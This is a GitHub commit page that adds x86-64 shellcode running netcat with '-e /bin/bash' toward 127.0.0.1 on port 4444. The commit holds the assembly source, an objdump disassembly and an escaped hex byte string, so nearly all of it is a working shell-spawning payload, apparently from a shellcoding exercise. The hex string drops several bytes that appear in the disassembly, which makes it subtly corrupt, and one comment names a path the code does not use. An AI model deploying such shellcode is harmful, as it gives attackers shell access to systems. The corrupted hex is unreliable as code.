Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit 78111fd

Browse files
committed
update
1 parent 9ada7f5 commit 78111fd

File tree

3 files changed

+115
-0
lines changed

3 files changed

+115
-0
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
;Shellcode execve(/usr/bin/nc, [/usr/bin/nc -e /bin/bash 127.0.0.1 4444], NULL)
2+
3+
[SECTION .text]
4+
5+
global _start
6+
7+
_start:
8+
9+
; clear RAX for NULL bytes to push
10+
11+
xorrax,rax ; clear RAX
12+
13+
movrbx,'/bin//nc' ; prepare /bin/nc
14+
15+
; prepare first argument of execve in RDI
16+
17+
pushrax ; NULL byte
18+
pushrbx ; /bin/nc
19+
movrdi,rsp ; ptr to /bin/nc
20+
21+
; prepare args for second argument of execve
22+
23+
pushrax ; NULL byte
24+
pushrdi ; /bin/nc
25+
movrbx,rsp ; ptr to /bin/nc
26+
27+
pushrax ; NULL byte
28+
push word '-e' ; -e
29+
movrcx,rsp ; ptr to -e
30+
31+
pushrax ; NULL byte
32+
movrdx,'////bash' ; /bin/bash
33+
pushrdx ;
34+
movrdx,'/bin////' ;
35+
pushrdx ;
36+
movrdx,rsp ; ptr to /bin/bash
37+
38+
pushrax ; NULL byte
39+
movr9,'127.0000' ; 127.0.0.1
40+
movr8,'.00000.1' ;
41+
pushr8 ;
42+
pushr9 ;
43+
movr8,rsp ; ptr to 127.0.0.1
44+
45+
pushrax ; NULL byte
46+
push dword '4444' ; 4444
47+
movr9,rsp ; ptr to 4444
48+
49+
; prepare second argument of execve in RSI
50+
51+
pushrax ; NULL byte
52+
pushr9 ; ptr to 4444
53+
pushr8 ; ptr to 127.0.0.1
54+
pushrdx ; ptr to /bin/bash
55+
pushrcx ; ptr to -e
56+
pushrbx ; ptr to /bin/nc
57+
movrsi,rsp ; ptr to args
58+
59+
; prepare third argument of execve in RDX that is NULL
60+
61+
xorrdx,rdx ; clear RDX
62+
63+
; syscall execve
64+
65+
moval,59 ; execve syscall
66+
syscall ; syscall

‎64/netcat_localhost_shell/objdump_intel

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
2+
netcat_shellcode.elf: format de fichier elf64-x86-64
3+
4+
5+
Déassemblage de la section .text :
6+
7+
0000000000401000 <.text>:
8+
401000: 48 31 c0 xor rax,rax
9+
401003: 48 bb 2f 62 69 6e 2f movabs rbx,0x636e2f2f6e69622f
10+
40100a: 2f 6e 63
11+
40100d: 50 push rax
12+
40100e: 53 push rbx
13+
40100f: 48 89 e7 mov rdi,rsp
14+
401012: 50 push rax
15+
401013: 57 push rdi
16+
401014: 48 89 e3 mov rbx,rsp
17+
401017: 50 push rax
18+
401018: 66 68 2d 65 pushw 0x652d
19+
40101c: 48 89 e1 mov rcx,rsp
20+
40101f: 50 push rax
21+
401020: 48 ba 2f 2f 2f 2f 62 movabs rdx,0x687361622f2f2f2f
22+
401027: 61 73 68
23+
40102a: 52 push rdx
24+
40102b: 48 ba 2f 62 69 6e 2f movabs rdx,0x2f2f2f2f6e69622f
25+
401032: 2f 2f 2f
26+
401035: 52 push rdx
27+
401036: 48 89 e2 mov rdx,rsp
28+
401039: 50 push rax
29+
40103a: 49 b9 31 32 37 2e 30 movabs r9,0x303030302e373231
30+
401041: 30 30 30
31+
401044: 49 b8 2e 30 30 30 30 movabs r8,0x312e30303030302e
32+
40104b: 30 2e 31
33+
40104e: 41 50 push r8
34+
401050: 41 51 push r9
35+
401052: 49 89 e0 mov r8,rsp
36+
401055: 50 push rax
37+
401056: 68 34 34 34 34 push 0x34343434
38+
40105b: 49 89 e1 mov r9,rsp
39+
40105e: 50 push rax
40+
40105f: 41 51 push r9
41+
401061: 41 50 push r8
42+
401063: 52 push rdx
43+
401064: 51 push rcx
44+
401065: 53 push rbx
45+
401066: 48 89 e6 mov rsi,rsp
46+
401069: 48 31 d2 xor rdx,rdx
47+
40106c: b0 3b mov al,0x3b
48+
40106e: 0f 05 syscall

‎64/netcat_localhost_shell/shellcode.hex

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x6e\x63\x50\x53\x48\x89\xe7\x50\x57\x48\x89\xe3\x50\x66\x68\x2d\x65\x48\x89\xe1\x50\x48\xba\x2f\x2f\x2f\x2f\x61\x73\x68\x52\x48\xba\x2f\x62\x69\x6e\x2f\x2f\x2f\x52\x48\x89\xe2\x50\x49\xb9\x31\x32\x37\x2e\x30\x30\x30\x49\xb8\x2e\x30\x30\x30\x30\x2e\x31\x41\x50\x41\x51\x49\x89\xe0\x50\x68\x34\x34\x34\x34\x49\x89\xe1\x50\x41\x51\x41\x50\x52\x51\x53\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /